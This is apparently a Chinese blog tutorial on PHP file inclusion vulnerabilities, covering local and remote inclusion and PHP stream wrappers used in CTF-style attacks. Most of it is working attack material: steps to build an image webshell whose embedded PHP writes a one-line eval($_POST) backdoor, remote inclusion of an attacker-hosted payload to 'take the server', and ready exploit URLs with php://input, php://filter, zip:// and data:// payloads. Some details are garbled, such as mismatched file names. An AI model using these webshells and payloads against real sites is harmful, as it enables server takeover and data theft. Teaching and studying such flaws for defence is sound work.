文件包含漏洞详解

1、文件包含漏洞简介

  文件包含漏洞是“代码注入”的一种,其原理就是注入一段用户能控制的脚本或者代码,并让服务器执行。

2、常见的文件包含的函数

  PHP:include(),include_once,require(),require_once(),fopen(),readfile()...

  JSP/Servlet:ava.io.File(),java.io.FileReader()...

  ASP:include file,inclede virtual...

3、文件包含漏洞分类

  本地文件包含:包含网站服务器上的文件

  远程文件包含:包含别的(自己)服务器上的文件

4、演示

【制作图片马】

准备一张 jpg格式的图片,不能太大,保存为 1.jpg

新建一个文本文档,写入<?fputs(fopen("shell20.php","w"),'<?php @eval($_POST[pass]);?>')?>,保存为 2.txt

使用cmd制作一个图片马:copy 1.jpg/b + 2.php/a 3.jpg

【本地文件包含】

利用文件上传漏洞,把文件 3.jpg 上传到服务器

 

使用文件包含漏洞,执行 3.jpg(包含的图片不能太大)

 会生成一个 shell20.php 的一句话木马文件,使用蚁剑进行连接

 【远程文件包含】

在自己的服务器上写一个图片马,然后用目标网站的文件包含漏洞包含自己服务器上的图片马

 然后和本地文件包含一样,在目标服务器内生成一句话木马,然后使用蚁剑进行连接,拿下服务器。

5、PHP 伪协议

【file:// 协议】

简介:file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

用法:file:// [文件的绝对路径和文件名]

实例:http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

php.ini:

file:// 协议在双off的情况下也可以正常使用;

 

allow_url_fopen :off/on

allow_url_include:off/on

 

【php:// 协议】

简介:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

条件:不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

 

【php://filter】

简介:php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

实例:http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

PHP.ini:

php://filter 在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

【php://input】

简介:php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

 

实例:http://127.0.0.1/cmd.php?file=php://input [POST DATA] <?php phpinfo()?>

 

也可以POST生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

 

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

 

【zip://, bzip2://, zlib://协议】

简介:zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 

【zip://协议】

用法:zip://archive.zip#dir/file.txt

   zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

实例:http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

测试:

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

 

【bzip2://协议】

用法:compress.bzip2://file.bz2

实例:http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

   http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

 

【zlib://协议】

用法:compress.zlib://file.gz

实例:http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

   http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

 

【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

实例:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

小结

 参考链接:https://www.freebuf.com/column/148886.html

     https://segmentfault.com/a/1190000018991087

posted @ 2020-03-08 18:56  蹲在路边吃红薯  阅读(1104)  评论(0编辑  收藏  举报